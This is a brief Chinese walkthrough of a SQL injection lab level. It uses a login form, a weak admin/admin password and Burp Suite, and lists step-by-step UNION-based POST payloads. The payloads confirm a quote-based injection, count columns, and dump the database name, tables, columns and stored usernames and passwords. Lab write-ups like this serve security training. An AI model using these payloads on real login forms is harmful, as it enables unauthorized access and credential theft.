这关开始就变成登录画面了
先来尝试一个弱口令，用户admin密码admin，登录成功：
用burpsuite抓包进行接下来的操作
判断出是单引号字符型注入：
uname=admin'#&passwd=&submit=Submit
判断列数：
uname=admin'+order+by+2#&passwd=&submit=Submit
爆库：
uname=-admin'+union+select+database(),version()#&passwd=&submit=Submit
爆表：
uname=-admin'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#&passwd=&submit=Submit
爆列：
uname=-admin'+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='users'#&passwd=&submit=Submit
爆数据：
uname=-admin'+union+select+1,group_concat(username,password)+from+users#&passwd=&submit=Submit
